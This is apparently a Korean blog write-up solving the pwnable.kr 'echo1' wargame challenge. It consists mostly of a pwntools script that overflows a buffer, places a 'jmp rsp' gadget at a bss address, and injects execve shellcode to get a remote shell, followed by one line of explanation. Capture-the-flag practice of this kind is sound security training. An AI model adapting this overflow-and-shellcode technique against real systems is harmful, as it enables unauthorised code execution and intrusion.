Wargame/▷ pwnable.kr
[pwnable.kr] echo1
Gyeongje
2018. 7. 20. 00:48
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * p = remote('pwnable.kr', 9010) context(arch='amd64',os='linux') id_addr = 0x6020a0 shell = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' jmp_rsp = asm('jmp rsp') payload = 'A'*0x28 payload += p64(id_addr) payload += shell p.sendlineafter(' : ', jmp_rsp) p.sendlineafter('> ', '1') p.recv(1024) p.sendline(payload) p.interactive() | cs |
입력값이 bss 주소로 4byte만 복사되기 때문에 jmp rsp 어셈 문자열을 따로 생성해두고 쉘코드로 잘 점프할 수 있게 조작하여 풀었다.